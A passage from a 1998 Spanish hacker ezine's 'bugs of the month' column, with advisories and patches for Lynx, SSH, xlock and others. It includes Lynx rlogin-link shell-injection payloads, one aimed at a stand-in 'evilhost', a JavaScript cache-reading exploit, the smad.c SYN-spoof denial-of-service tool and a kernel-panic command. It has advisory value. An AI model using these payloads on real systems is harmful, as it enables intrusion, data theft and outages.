Copy Link
Add to Bookmark
Report
SET 017 0x09
-[ 0x09 ]--------------------------------------------------------------------
-[ LOS BUGS DEL MES ]--------------------------------------------------------
-[ by SET Staff ]-----------------------------------------------------SET-17-
-( 0x01 )-
Para : KDE
Tema : Privilegios de root
Patch : Unos prefieren WindowMaker, otros Gnome, AfterStep...
Creditos : Varios
Descripcion y Notas:
Aun no me lo explico. Y es que es dificil de entender como do programas como
el klock 1.0 y el kscreensaver pueden comprometer la cuenta de administrador.
Al parecer se trata de ciertos SUID por ahi perdidos, pero bueno, se supone
que se corregira antes de sacar la proxima version de KDE.
-( 0x02 )-
Para : Windows NT
Tema : SNMP
Patch : Service Pack 4 !?!?!?!?
Creditos : Security Research Labs
Descripcion y Notas:
Cuando se instala el servicio SNMP, la configuracion por defecto deja al
sistema desnudo ante un posible ataque. Esta configuracion, entre otras
cosas, de permisos de lectura/escritura a la comunidad. Y da la casualidad
que las versiones previas al Service Pack 4 no permiten seleccionar que este
grupo de acceso solo tenga derechos de lectura.
De esta forma, un atacante bien informado podra modificar las tablas IP y
ARP, y eliminar o activar interfaces de red a su antojo. Y el potencial
riesgo que esto supone aumenta cuando la maquina se trata de un firewall.
Sera este uno de los mas de 650 bugs que dicen corrige el Service Pack 4?
-( 0x03 )-
Para : Lynx
Tema : Troyanos
Patch : Aqui abajo
Creditos : Artur Grabowski
Descripcion y Notas:
Existen sistemas en los que el unico programa que tiene permitida la
ejecucion es el Lynx. O en los que incluso este esta configurado como si
de la shell de login se tratase.
Pues bien, podemos ejecutar codigo arbitrariamente desde el lynx. Por
ejemplo, si seleccionamos el siguiente link de una pagina, obtendremos una
shell limpia:
<a href="rlogin://foo;sh@foo">foo</a>
Asimismo podemos ejecutar cualquier codigo. Siguiendo con el ejemplo
anterior, si pulsamos sobre este enlace:
<a href="rlogin://eviluser|sh@evilhost.foo">foo</a>
el shell de eviluser@evilhost.foo ejecutara algunos comandos sobre la victima.
El problema se encuentra en WWW/Library/Implementation/HTTelnet.c, dentro de
la funcion remote_session. Ahi podremos observar como se eleminan caracteres
extra~os para evitar problemas, menos el nombre de usuario.
Para solucionarlo, podemos aplicar el siguiente patch:
<++> set_017/patches/HTTelnet.c
RCS file: /cvs/src/gnu/usr.bin/lynx/WWW/Library/Implementation/HTTelnet.c,v
retrieving revision 1.1.1.1
diff -u -w -u -r1.1.1.1 HTTelnet.c
--- HTTelnet.c 1998/03/11 17:47:47 1.1.1.1
+++ HTTelnet.c 1998/11/16 17:01:35
@@ -73,8 +73,7 @@
* *cp=0; / * terminate at any ;,<,>,`,|,",' or space or return
* or tab to prevent security whole
*/
- for(cp = (strchr(host, '@') ? strchr(host, '@') : host); *cp != '\0';
- cp++) {
+ for(cp = host; *cp != '\0'; cp++) {
if(!isalnum(*cp) && *cp != '_' && *cp != '-' &&
*cp != ':' && *cp != '.' && *cp != '@') {
*cp = '\0';
<-->
-( 0x04 )-
Para : SSH 1.2.26
Tema : Buffer Overflow
Patch : Aqui, donde si no?
Creditos : Varios
Descripcion y Notas:
Haces un mes aproximadamente se volvio a detectar un fallo en la version
1.2.26 del SSH, que producia errores de desbordamiento. En esta ocasion os
ofrecemos el patch correspondiente para que podais solucionar el problema
en vuestro sistema. Se trata del patch propuesto por IBM, que al parecer
funciona en todas las plataformas.
<++> set_017/patches/ssh-1.2.26
diff -u -r ssh-1.2.26-orig/Makefile.in ssh-1.2.26/Makefile.in
--- ssh-1.2.26-orig/Makefile.in Wed Jul 8 12:40:39 1998
+++ ssh-1.2.26/Makefile.in Sun Nov 1 16:11:44 1998
@@ -315,7 +315,7 @@
rsa.o randoms.o md5.o buffer.o emulate.o packet.o compress.o \
xmalloc.o ttymodes.o newchannels.o bufaux.o authfd.o authfile.o \
crc32.o rsaglue.o cipher.o des.o match.o arcfour.o mpaux.o \
- userfile.o signals.o blowfish.o deattack.o
+ userfile.o signals.o blowfish.o deattack.o snprintf.o
SSHD_OBJS = sshd.o auth-rhosts.o auth-passwd.o auth-rsa.o auth-rh-rsa.o pty.o \
log-server.o login.o hostfile.o canohost.o servconf.o tildexpand.o \
serverloop.o $(COMMON_OBJS) $(KERBEROS_OBJS) $(SSHDCONFOBJS)
@@ -332,7 +332,7 @@
xmalloc.o bufaux.o authfd.o authfile.o cipher.o blowfish.o \
des.o arcfour.o mpaux.o userfile.o signals.o $(LIBOBJS) \
$(CONFOBJS)
-SCP_OBJS = scp.o xmalloc.o
+SCP_OBJS = scp.o xmalloc.o snprintf.o
#ifdef F_SECURE_COMMERCIAL
#
#
@@ -359,7 +359,7 @@
randoms.h ttymodes.h authfd.h crc32.h includes.h \
readconf.h userfile.h blowfish.h des.h md5.h rsa.h version.h bufaux.h \
mpaux.h servconf.h xmalloc.h buffer.h emulate.h packet.h ssh.h \
- deattack.h
+ deattack.h snprintf.h
DISTFILES = $(srcdir)/COPYING $(srcdir)/README $(srcdir)/README.SECURID \
$(srcdir)/README.TIS $(srcdir)/README.SECURERPC \
diff -u -r ssh-1.2.26-orig/log-server.c ssh-1.2.26/log-server.c
--- ssh-1.2.26-orig/log-server.c Wed Jul 8 12:40:36 1998
+++ ssh-1.2.26/log-server.c Sun Nov 1 16:14:23 1998
@@ -60,6 +60,7 @@
#include "packet.h"
#include "xmalloc.h"
#include "ssh.h"
+#include "snprintf.h"
static int log_debug = 0;
static int log_quiet = 0;
@@ -134,7 +135,7 @@
if (log_quiet)
return;
va_start(args, fmt);
- vsprintf(buf, fmt, args);
+ vsnprintf(buf, sizeof(buf), fmt, args);
va_end(args);
if (log_on_stderr)
fprintf(stderr, "log: %s\n", buf);
@@ -175,7 +176,7 @@
if (log_quiet)
return;
va_start(args, fmt);
- vsprintf(buf, fmt, args);
+ vsnprintf(buf, sizeof(buf), fmt, args);
va_end(args);
if (log_on_stderr)
fprintf(stderr, "log: %s\n", buf);
@@ -191,7 +192,7 @@
if (!log_debug || log_quiet)
return;
va_start(args, fmt);
- vsprintf(buf, fmt, args);
+ vsnprintf(buf, sizeof(buf), fmt, args);
va_end(args);
if (log_on_stderr)
fprintf(stderr, "debug: %s\n", buf);
@@ -207,7 +208,7 @@
if (log_quiet)
return;
va_start(args, fmt);
- vsprintf(buf, fmt, args);
+ vsnprintf(buf, sizeof(buf), fmt, args);
va_end(args);
if (log_on_stderr)
fprintf(stderr, "error: %s\n", buf);
@@ -302,7 +303,7 @@
if (log_quiet)
exit(1);
va_start(args, fmt);
- vsprintf(buf, fmt, args);
+ vsnprintf(buf, sizeof(buf), fmt, args);
va_end(args);
if (log_on_stderr)
fprintf(stderr, "fatal: %s\n", buf);
@@ -321,7 +322,7 @@
if (log_quiet)
exit(1);
va_start(args, fmt);
- vsprintf(buf, fmt, args);
+ vsnprintf(buf, sizeof(buf), fmt, args);
va_end(args);
if (log_on_stderr)
fprintf(stderr, "fatal: %s\n", buf);
diff -u -r ssh-1.2.26-orig/packet.c ssh-1.2.26/packet.c
--- ssh-1.2.26-orig/packet.c Wed Jul 8 12:40:37 1998
+++ ssh-1.2.26/packet.c Sun Nov 1 16:15:26 1998
@@ -90,6 +90,7 @@
#include "getput.h"
#include "compress.h"
#include "deattack.h"
+#include "snprintf.h"
/* This variable contains the file descriptors used for communicating with
the other side. connection_in is used for reading; connection_out
@@ -693,7 +694,7 @@
va_list args;
va_start(args, fmt);
- vsprintf(buf, fmt, args);
+ vsnprintf(buf, sizeof(buf), fmt, args);
va_end(args);
packet_start(SSH_MSG_DEBUG);
@@ -719,7 +720,7 @@
/* Format the message. Note that the caller must make sure the message
is of limited size. */
va_start(args, fmt);
- vsprintf(buf, fmt, args);
+ vsnprintf(buf, sizeof(buf), fmt, args);
va_end(args);
/* Send the disconnect message to the other side, and wait for it to get
diff -u -r ssh-1.2.26-orig/scp.c ssh-1.2.26/scp.c
--- ssh-1.2.26-orig/scp.c Wed Jul 8 12:40:38 1998
+++ ssh-1.2.26/scp.c Sun Nov 1 16:34:57 1998
@@ -134,6 +134,7 @@
#include "includes.h"
#include "ssh.h"
#include "xmalloc.h"
+#include "snprintf.h"
#ifdef HAVE_UTIME_H
#include <utime.h>
#if defined(_NEXT_SOURCE) && !defined(_POSIX_SOURCE)
@@ -332,7 +333,7 @@
char buf[1024];
va_start(ap, fmt);
- vsprintf(buf, fmt, ap);
+ vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
fprintf(stderr, "%s\n", buf);
exit(255);
diff -u -r ssh-1.2.26-orig/snprintf.c ssh-1.2.26/snprintf.c
--- ssh-1.2.26-orig/snprintf.c Sun Nov 1 16:19:33 1998
+++ ssh-1.2.26/snprintf.c Sun Nov 1 16:24:37 1998
@@ -0,0 +1,559 @@
+/*
+
+ Author: Tomi Salo <ttsalo@ssh.fi>
+
+ Copyright (C) 1996 SSH Communications Security Oy, Espoo, Finland
+ All rights reserved.
+
+ Implementation of functions snprintf() and vsnprintf()
+
+ */
+
+/*
+ * $Id: snprintf.c,v 1.19 1998/06/03 00:45:30 ylo Exp $
+ * $Log: snprintf.c,v $
+ * $EndLog$
+ */
+
+#include "includes.h"
+#include "snprintf.h"
+
+#define MINUS_FLAG 0x1
+#define PLUS_FLAG 0x2
+#define SPACE_FLAG 0x4
+#define HASH_FLAG 0x8
+#define CONV_TO_SHORT 0x10
+#define IS_LONG_INT 0x20
+#define IS_LONG_DOUBLE 0x40
+#define X_UPCASE 0x80
+#define IS_NEGATIVE 0x100
+#define UNSIGNED_DEC 0x200
+#define ZERO_PADDING 0x400
+
+#undef sprintf
+
+/* Extract a formatting directive from str. Str must point to a '%'.
+ Returns number of characters used or zero if extraction failed. */
+
+int
+snprintf_get_directive(const char *str, int *flags, int *width,
+ int *precision, char *format_char, va_list *ap)
+{
+ int length, n;
+ const char *orig_str = str;
+
+ *flags = 0;
+ *width = 0;
+ *precision = 0;
+ *format_char = (char)0;
+
+ if (*str == '%')
+ {
+ /* Get the flags */
+ str++;
+ while (*str == '-' || *str == '+' || *str == ' '
+ || *str == '#' || *str == '0')
+ {
+ switch (*str)
+ {
+ case '-':
+ *flags |= MINUS_FLAG;
+ break;
+ case '+':
+ *flags |= PLUS_FLAG;
+ break;
+ case ' ':
+ *flags |= SPACE_FLAG;
+ break;
+ case '#':
+ *flags |= HASH_FLAG;
+ break;
+ case '0':
+ *flags |= ZERO_PADDING;
+ break;
+ }
+ str++;
+ }
+
+ /* Don't pad left-justified numbers withs zeros */
+ if ((*flags & MINUS_FLAG) && (*flags & ZERO_PADDING))
+ *flags &= ~ZERO_PADDING;
+
+ /* Is width field present? */
+ if (isdigit(*str))
+ {
+ n = sscanf(str, "%d", width);
+ if (n == 0)
+ return 0;
+
+ /* Step through the field */
+ while (isdigit(*str))
+ str++;
+ }
+ else
+ if (*str == '*')
+ {
+ *width = va_arg(*ap, int);
+ str++;
+ }
+
+ /* Is the precision field present? */
+ if (*str == '.')
+ {
+ str++;
+ if (isdigit(*str))
+ {
+ n = sscanf(str, "%d", precision);
+ if (n == 0)
+ return 0;
+
+ /* Step through the field */
+ while (isdigit(*str))
+ str++;
+ }
+ else
+ if (*str == '*')
+ {
+ *precision = va_arg(*ap, int);
+ str++;
+ }
+ else
+ *precision = 0;
+ }
+
+ /* Get the optional type character */
+ if (*str == 'h')
+ {
+ *flags |= CONV_TO_SHORT;
+ str++;
+ }
+ else
+ {
+ if (*str == 'l')
+ {
+ *flags |= IS_LONG_INT;
+ str++;
+ }
+ else
+ {
+ if (*str == 'L')
+ {
+ *flags |= IS_LONG_DOUBLE;
+ str++;
+ }
+ }
+ }
+
+ /* Get and check the formatting character */
+
+ *format_char = *str;
+ str++;
+ length = str - orig_str;
+
+ switch (*format_char)
+ {
+ case 'i': case 'd': case 'o': case 'u': case 'x': case 'X':
+ case 'f': case 'e': case 'E': case 'g': case 'G':
+ case 'c': case 's': case 'p': case 'n':
+ if (*format_char == 'X')
+ *flags |= X_UPCASE;
+ if (*format_char == 'o')
+ *flags |= UNSIGNED_DEC;
+ return length;
+
+ default:
+ return 0;
+ }
+ }
+ else
+ {
+ return 0;
+ }
+}
+
+/* Convert a integer from unsigned long int representation
+ to string representation. This will insert prefixes if needed
+ (leading zero for octal and 0x or 0X for hexadecimal) and
+ will write at most buf_size characters to buffer.
+ tmp_buf is used because we want to get correctly truncated
+ results.
+ */
+
+int
+snprintf_convert_ulong(char *buffer, size_t buf_size, int base, char *digits,
+ unsigned long int ulong_val, int flags, int width,
+ int precision)
+{
+ int tmp_buf_len = 100 + width, len;
+ char *tmp_buf, *tmp_buf_ptr, prefix[2];
+ tmp_buf = xmalloc(tmp_buf_len);
+
+ prefix[0] = '\0';
+ prefix[1] = '\0';
+
+ /* Make tmp_buf_ptr point just past the last char of buffer */
+ tmp_buf_ptr = tmp_buf + tmp_buf_len;
+
+ /* Main conversion loop */
+ do
+ {
+ *--tmp_buf_ptr = digits[ulong_val % base];
+ ulong_val /= base;
+ precision--;
+ }
+ while ((ulong_val != 0 || precision > 0) && tmp_buf_ptr > tmp_buf);
+
+ /* Get the prefix */
+ if (!(flags & IS_NEGATIVE))
+ {
+ if (base == 16 && (flags & HASH_FLAG))
+ if (flags && X_UPCASE)
+ {
+ prefix[0] = 'x';
+ prefix[1] = '0';
+ }
+ else
+ {
+ prefix[0] = 'X';
+ prefix[1] = '0';
+ }
+
+ if (base == 8 && (flags & HASH_FLAG))
+ prefix[0] = '0';
+
+ if (base == 10 && !(flags & UNSIGNED_DEC) && (flags & PLUS_FLAG))
+ prefix[0] = '+';
+ else
+ if (base == 10 && !(flags & UNSIGNED_DEC) && (flags & SPACE_FLAG))
+ prefix[0] = ' ';
+ }
+ else
+ prefix[0] = '-';
+
+ if (prefix[0] != '\0' && tmp_buf_ptr > tmp_buf)
+ {
+ *--tmp_buf_ptr = prefix[0];
+ if (prefix[1] != '\0' && tmp_buf_ptr > tmp_buf)
+ *--tmp_buf_ptr = prefix[1];
+ }
+
+ len = (tmp_buf + tmp_buf_len) - tmp_buf_ptr;
+
+ if (len <= buf_size)
+ {
+ if (len < width)
+ {
+ if (width > (tmp_buf_ptr - tmp_buf))
+ width = (tmp_buf_ptr - tmp_buf);
+ if (flags & MINUS_FLAG)
+ {
+ memcpy(buffer, tmp_buf_ptr, len);
+ memset(buffer + len, (flags & ZERO_PADDING)?'0':' ',
+ width - len);
+ len = width;
+ }
+ else
+ {
+ memset(buffer, (flags & ZERO_PADDING)?'0':' ',
+ width - len);
+ memcpy(buffer + width - len, tmp_buf_ptr, len);
+ len = width;
+ }
+ }
+ else
+ {
+ memcpy(buffer, tmp_buf_ptr, len);
+ }
+ xfree(tmp_buf);
+ return len;
+ }
+ else
+ {
+ memcpy(buffer, tmp_buf_ptr, buf_size);
+ xfree(tmp_buf);
+ return buf_size;
+ }
+}
+
+int
+snprintf_convert_float(char *buffer, size_t buf_size,
+ double dbl_val, int flags, int width,
+ int precision, char format_char)
+{
+ char print_buf[160], print_buf_len = 0;
+ char format_str[80], *format_str_ptr;
+
+ format_str_ptr = format_str;
+
+ if (width > 155) width = 155;
+ if (precision <= 0)
+ precision = 6;
+ if (precision > 120)
+ precision = 120;
+
+ /* Construct the formatting string and let system's sprintf
+ do the real work. */
+
+ *format_str_ptr++ = '%';
+
+ if (flags & MINUS_FLAG)
+ *format_str_ptr++ = '-';
+ if (flags & PLUS_FLAG)
+ *format_str_ptr++ = '+';
+ if (flags & SPACE_FLAG)
+ *format_str_ptr++ = ' ';
+ if (flags & ZERO_PADDING)
+ *format_str_ptr++ = '0';
+ if (flags & HASH_FLAG)
+ *format_str_ptr++ = '#';
+
+ format_str_ptr += sprintf(format_str_ptr, "%d.%d", width, precision);
+ if (flags & IS_LONG_DOUBLE)
+ *format_str_ptr++ = 'L';
+ *format_str_ptr++ = format_char;
+ *format_str_ptr++ = '\0';
+
+ print_buf_len = sprintf(print_buf, format_str, dbl_val);
+
+ if (print_buf_len > buf_size) print_buf_len = buf_size;
+ strncpy(buffer, print_buf, print_buf_len);
+ return print_buf_len;
+}
+
+int
+snprintf(char *str, size_t size, const char *format, ...)
+{
+ int ret;
+ va_list ap;
+ va_start(ap, format);
+ ret = vsnprintf(str, size, format, ap);
+ va_end(ap);
+
+ return ret;
+}
+
+int
+vsnprintf(char *str, size_t size, const char *format, va_list ap)
+{
+ int status, left = (int)size - 1;
+ const char *format_ptr = format;
+ int flags, width, precision, i;
+ char format_char, *orig_str = str;
+ int *int_ptr;
+ long int long_val;
+ unsigned long int ulong_val;
+ char *str_val;
+ double dbl_val;
+
+ flags = 0;
+ while (format_ptr < format + strlen(format))
+ {
+ if (*format_ptr == '%')
+ {
+ if (format_ptr[1] == '%' && left > 0)
+ {
+ *str++ = '%';
+ left--;
+ format_ptr += 2;
+ }
+ else
+ {
+ if (left <= 0)
+ {
+ *str = '\0';
+ return size;
+ }
+ else
+ {
+ status = snprintf_get_directive(format_ptr, &flags, &width,
+ &precision, &format_char,
+ &ap);
+ if (status == 0)
+ {
+ *str = '\0';
+ return 0;
+ }
+ else
+ {
+ format_ptr += status;
+ /* Print a formatted argument */
+ switch (format_char)
+ {
+ case 'i': case 'd':
+ /* Convert to unsigned long int before
+ actual conversion to string */
+ if (flags & IS_LONG_INT)
+ long_val = va_arg(ap, long int);
+ else
+ long_val = (long int) va_arg(ap, int);
+
+ if (long_val < 0)
+ {
+ ulong_val = (unsigned long int) -long_val;
+ flags |= IS_NEGATIVE;
+ }
+ else
+ {
+ ulong_val = (unsigned long int) long_val;
+ }
+ status = snprintf_convert_ulong(str, left, 10,
+ "0123456789",
+ ulong_val, flags,
+ width, precision);
+ str += status;
+ left -= status;
+ break;
+
+ case 'x':
+ if (flags & IS_LONG_INT)
+ ulong_val = va_arg(ap, unsigned long int);
+ else
+ ulong_val =
+ (unsigned long int) va_arg(ap, unsigned int);
+
+ status = snprintf_convert_ulong(str, left, 16,
+ "0123456789abcdef",
+ ulong_val, flags,
+ width, precision);
+ str += status;
+ left -= status;
+ break;
+
+ case 'X':
+ if (flags & IS_LONG_INT)
+ ulong_val = va_arg(ap, unsigned long int);
+ else
+ ulong_val =
+ (unsigned long int) va_arg(ap, unsigned int);
+
+ status = snprintf_convert_ulong(str, left, 16,
+ "0123456789ABCDEF",
+ ulong_val, flags,
+ width, precision);
+ str += status;
+ left -= status;
+ break;
+
+ case 'o':
+ if (flags & IS_LONG_INT)
+ ulong_val = va_arg(ap, unsigned long int);
+ else
+ ulong_val =
+ (unsigned long int) va_arg(ap, unsigned int);
+
+ status = snprintf_convert_ulong(str, left, 8,
+ "01234567",
+ ulong_val, flags,
+ width, precision);
+ str += status;
+ left -= status;
+ break;
+
+ case 'u':
+ if (flags & IS_LONG_INT)
+ ulong_val = va_arg(ap, unsigned long int);
+ else
+ ulong_val =
+ (unsigned long int) va_arg(ap, unsigned int);
+
+ status = snprintf_convert_ulong(str, left, 10,
+ "0123456789",
+ ulong_val, flags,
+ width, precision);
+ str += status;
+ left -= status;
+ break;
+
+ case 'p':
+ break;
+
+ case 'c':
+ if (flags & IS_LONG_INT)
+ ulong_val = va_arg(ap, unsigned long int);
+ else
+ ulong_val =
+ (unsigned long int) va_arg(ap, unsigned int);
+ *str++ = (unsigned char)ulong_val;
+ left--;
+ break;
+
+ case 's':
+ str_val = va_arg(ap, char *);
+
+ if (str_val == NULL)
+ str_val = "(null)";
+
+ if (precision == 0)
+ precision = strlen(str_val);
+ else
+ {
+ if (memchr(str_val, 0, precision) != NULL)
+ precision = strlen(str_val);
+ }
+ if (precision > left)
+ precision = left;
+
+ if (width > left)
+ width = left;
+ if (width < precision)
+ width = precision;
+ i = width - precision;
+
+ if (flags & MINUS_FLAG)
+ {
+ strncpy(str, str_val, precision);
+ memset(str + precision,
+ (flags & ZERO_PADDING)?'0':' ', i);
+ }
+ else
+ {
+ memset(str, (flags & ZERO_PADDING)?'0':' ', i);
+ strncpy(str + i, str_val, precision);
+ }
+ str += width;
+ left -= width;
+ break;
+
+ case 'n':
+ int_ptr = va_arg(ap, int *);
+ *int_ptr = str - orig_str;
+ break;
+
+ case 'f': case 'e': case 'E': case 'g': case 'G':
+ if (flags & IS_LONG_DOUBLE)
+ dbl_val = (double) va_arg(ap, long double);
+ else
+ dbl_val = va_arg(ap, double);
+ status =
+ snprintf_convert_float(str, left, dbl_val, flags,
+ width, precision,
+ format_char);
+ str += status;
+ left -= status;
+ break;
+
+ default:
+ break;
+ }
+ }
+ }
+ }
+ }
+ else
+ {
+ if (left > 0)
+ {
+ *str++ = *format_ptr++;
+ left--;
+ }
+ else
+ {
+ *str = '\0';
+ return size;
+ }
+ }
+ }
+ *str = '\0';
+ return size - left - 1;
+}
+
diff -u -r ssh-1.2.26-orig/snprintf.h ssh-1.2.26/snprintf.h
--- ssh-1.2.26-orig/snprintf.h Sun Nov 1 16:19:25 1998
+++ ssh-1.2.26/snprintf.h Sun Nov 1 16:16:48 1998
@@ -0,0 +1,46 @@
+/*
+
+ Author: Tomi Salo <ttsalo@ssh.fi>
+
+ Copyright (C) 1996 SSH Communications Security Oy, Espoo, Finland
+ All rights reserved.
+
+ Header file for snprintf.c
+
+ */
+
+/*
+ * $Id:
+ * $Log: snprintf.h,v $
+ * $EndLog$
+ */
+
+#ifndef SNPRINTF_H
+#define SNPRINTF_H
+
+#include "includes.h"
+
+/* Write formatted text to buffer 'str', using format string 'format'.
+ Returns number of characters written, or negative if error
+ occurred. SshBuffer's size is given in 'size'. Format string is
+ understood as defined in ANSI C.
+
+ NOTE: This does NOT work identically with BDS's snprintf.
+
+ Integers: Ansi C says that precision specifies the minimun
+ number of digits to print. BSD's version however counts the
+ prefixes (+, -, ' ', '0x', '0X', octal prefix '0'...) as
+ 'digits'.
+
+ Also, BSD implementation does not permit padding integers
+ to specified width with zeros on left (in front of the prefixes),
+ it uses spaces instead, even when Ansi C only forbids padding
+ with zeros on the right side of numbers.
+
+ */
+
+int snprintf(char *str, size_t size, const char *format, ...);
+
+int vsnprintf(char *str, size_t size, const char *format, va_list ap);
+
+#endif /* SNPRINTF_H */
<-->
-( 0x05 )-
Para : JavaScript 1.x
Tema : Acceso a ficheros
Patch : Uhmmm!
Creditos : Georgi Guninski
<++> set_017/exploits/lector.js
sl=window.open('wysiwyg://1/about:cache');
//For Netscape 3.04 remove 'wysiwyg://1/'
sl2=sl.window.open();
sl2.location="javascript:function f() {
s='<SCRIPT>cr=\"\t\";
x=\"Here are some links from your cache:\";
for(i=0;i<5;i++)
x+=opener.document.links[i]+cr;
alert(x);
</'+'SCRIPT>';
return
s};
f()";
sl2.location.reload();
<-->
Descripcion y Notas:
Existe un fallo en la implementacion del JavaScript en el Communicator, 4.5,
4.07 y en el Navigator 3.04, bajo Windows (no probado en Linux), que permite
acceder a los archivos de la cache, y en algunos casos, del disco duro en
general. Solo permite la lectura, pero puede ponernos en un compromiso, pues
ciertos datos que se envian cuando conectamos a un servidor que nos los
solicita via CGI, por ejemplo, se suelen almacenar en la cache.
En las siguientes direcciones se encuentra montado el JavaScript para
que podais comprobar su funcionamiento:
http://www.geocities.com/ResearchTriangle/1711/b4.html
http://www.geocities.com/ResearchTriangle/1711/b5.html
-( 0x06 )-
Para : Linux 2.0.34
Tema : Panic
Patch : Si ya esta la 2.0.36... A que esperais!?!?!?
Creditos : a42na8k9
Descripcion y Notas:
Simple y llanamente. Ejecutar 'head -c 32 /dev/socksys' en un linux
con el kernel 2.0.34 (anteriores no testeado), en Slackware, produce kernel
panic, crash y reinicio del sistema. Interesante, eh? ;)
-( 0x07 )-
Para : SendMail y Qmail
Tema : Demostracion de vulnerabilidades
Patch : Espera que me lo piense
Creditos : A pachas entre Michal Zalewski y Salvatore Sanfilippo
<++> set_017/exploits/smad.c
/*
* smad.c - sendmail accept dos -
*
* Salvatore Sanfilippo [AntireZ]
* Intesis SECURITY LAB Phone: +39-2-671563.1
* Via Settembrini, 35 Fax: +39-2-66981953
* I-20124 Milano ITALY Email: antirez@seclab.com
* md5330@mclink.it
*
* compile it under Linux with gcc -Wall -o smad smad.c
*
* usage: smad fakeaddr victim [port]
*/
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#define SLEEP_UTIME 100000 /* modify it if necessary */
#define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct tcphdr))
#define OFFSETTCP (sizeof(struct iphdr))
#define OFFSETIP (0)
u_short cksum(u_short *buf, int nwords)
{
unsigned long sum;
u_short *w = buf;
for (sum = 0; nwords > 0; nwords-=2)
sum += *w++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
void resolver (struct sockaddr * addr, char *hostname, u_short port)
{
struct sockaddr_in *address;
struct hostent *host;
address = (struct sockaddr_in *)addr;
(void) bzero((char *)address, sizeof(struct sockaddr_in));
address->sin_family = AF_INET;
address->sin_port = htons(port);
address->sin_addr.s_addr = inet_addr(hostname);
if ( (int)address->sin_addr.s_addr == -1) {
host = gethostbyname(hostname);
if (host) {
bcopy( host->h_addr,
(char *)&address->sin_addr,host->h_length);
} else {
perror("Could not resolve address");
exit(-1);
}
}
}
int main(int argc, char **argv)
{
char runchar[] = "|/-\\";
char packet[PACKETSIZE],
*fromhost,
*tohost;
u_short fromport = 3000,
toport = 25;
struct sockaddr_in local, remote;
struct iphdr *ip = (struct iphdr*) (packet + OFFSETIP);
struct tcphdr *tcp = (struct tcphdr*) (packet + OFFSETTCP);
struct tcp_pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short lenght;
struct tcphdr tcpheader;
} pseudoheader;
int sock, result, runcharid = 0;
if (argc < 3)
{
printf("usage: %s fakeaddr victim [port]\n", argv[0]);
exit(0);
}
if (argc == 4)
toport = atoi(argv[3]);
bzero((void*)packet, PACKETSIZE);
fromhost = argv[1];
tohost = argv[2];
resolver((struct sockaddr*)&local, fromhost, fromport);
resolver((struct sockaddr*)&remote, tohost, toport);
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock == -1) {
perror("can't get raw socket");
exit(1);
}
/* src addr */
bcopy((char*)&local.sin_addr, &ip->saddr,sizeof(ip->saddr));
/* dst addr */
bcopy((char*)&remote.sin_addr,&ip->daddr,sizeof(ip->daddr));
ip->version = 4;
ip->ihl = sizeof(struct iphdr)/4;
ip->tos = 0;
ip->tot_len = htons(PACKETSIZE);
ip->id = htons(getpid() & 255);
/* no flags */
ip->frag_off = 0;
ip->ttl = 64;
ip->protocol = 6;
ip->check = 0;
tcp->th_dport = htons(toport);
tcp->th_sport = htons(fromport);
tcp->th_seq = htonl(32089744);
tcp->th_ack = htonl(0);
tcp->th_off = sizeof(struct tcphdr)/4;
/* 6 bit reserved */
tcp->th_flags = TH_SYN;
tcp->th_win = htons(512);
/* start of pseudo header stuff */
bzero(&pseudoheader, 12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=local.sin_addr.s_addr;
pseudoheader.daddr.s_addr=remote.sin_addr.s_addr;
pseudoheader.protocol = 6;
pseudoheader.lenght = htons(sizeof(struct tcphdr));
bcopy((char*) tcp, (char*) &pseudoheader.tcpheader,
sizeof(struct tcphdr));
/* end */
tcp->th_sum = cksum((u_short *) &pseudoheader,
12+sizeof(struct tcphdr));
/* 16 bit urg */
while (0)
{
result = sendto(sock, packet, PACKETSIZE, 0,
(struct sockaddr *)&remote, sizeof(remote));
if (result != PACKETSIZE)
{
perror("sending packet");
exit(0);
}
printf("\b");
printf("%c", runchar[runcharid]);
fflush(stdout);
runcharid++;
if (runcharid == 4)
runcharid = 0;
usleep(SLEEP_UTIME);
}
return 0;
}
<-->
Descripcion y Notas:
Michal propone y Salvatore codifica. Se trata de un peque~o programa capaz
de demostrar las vulnerabilidades conocidas del SendMail y del Qmail.
Salvatore nos advierte ademas que ha modificado el fuente ligeramente para
que sea preciso retocarlo para que funcione correctamente, asi que ya
sabeis, a darle a la tecla.
-( 0x08 )-
Para : Formularios con Netscape bajo Windows
Tema : Inseguridad
Patch : En Linux esto no pasa
Creditos : Kelani
Descripcion y Notas:
Veamos. Se trata de un problema mas de seguridad que nos permitira hacernos
con datos enviados a traves de los formularios web. resulta que el Netscape,
en sus versiones 3.x y 4.x bajo Windows ?? (vamos, que funciona en 95/98/NT),
escribe un fichero con el nombre nsformXX.tmp, en el que se almacenan en
texto en claro los datos enviados al formulario.
Vamos, esto es la joya de los cibercafes ;)
-( 0x09 )-
Para : xlock
Tema : Un overflow interesante
Patch : Pues su autor nos lo presta
Creditos : Aaron Campbell
<++> set_017/patches/xlock
--- xlock.c.orig Wed Nov 4 20:33:47 1998
+++ xlock.c Wed Nov 4 20:34:28 1998
@@ -2524,7 +2524,7 @@
char buf[121];
char *home = getenv("HOME");
char *buffer;
- int i, j, cr;
+ int i, j, len;
if (!home)
home = "";
@@ -2587,13 +2587,12 @@
}
if (planf != NULL) {
for (i = 0; i < TEXTLINES; i++) {
- if (fgets(buf, 120, planf)) {
- cr = strlen(buf) - 1;
- if (buf[cr] == '\n') {
- buf[cr] = '\0';
+ if (fgets(buf, 120, planf) && (len = strlen(buf)) > 0) {
+ if (buf[len - 1] == '\n') {
+ buf[--len] = '\0';
}
/* this expands tabs to 8 spaces */
- for (j = 0; j < cr; j++) {
+ for (j = 0; j < len; j++) {
if (buf[j] == '\t') {
int k, tab = 8 - (j % 8);
@@ -2603,12 +2602,11 @@
for (k = j; k < j + tab; k++) {
buf[k] = ' ';
}
- cr += tab;
- if (cr > 120)
- cr = 120;
+ len += tab;
+ if (len > 120)
+ len = 120;
}
}
- buf[cr] = '\0';
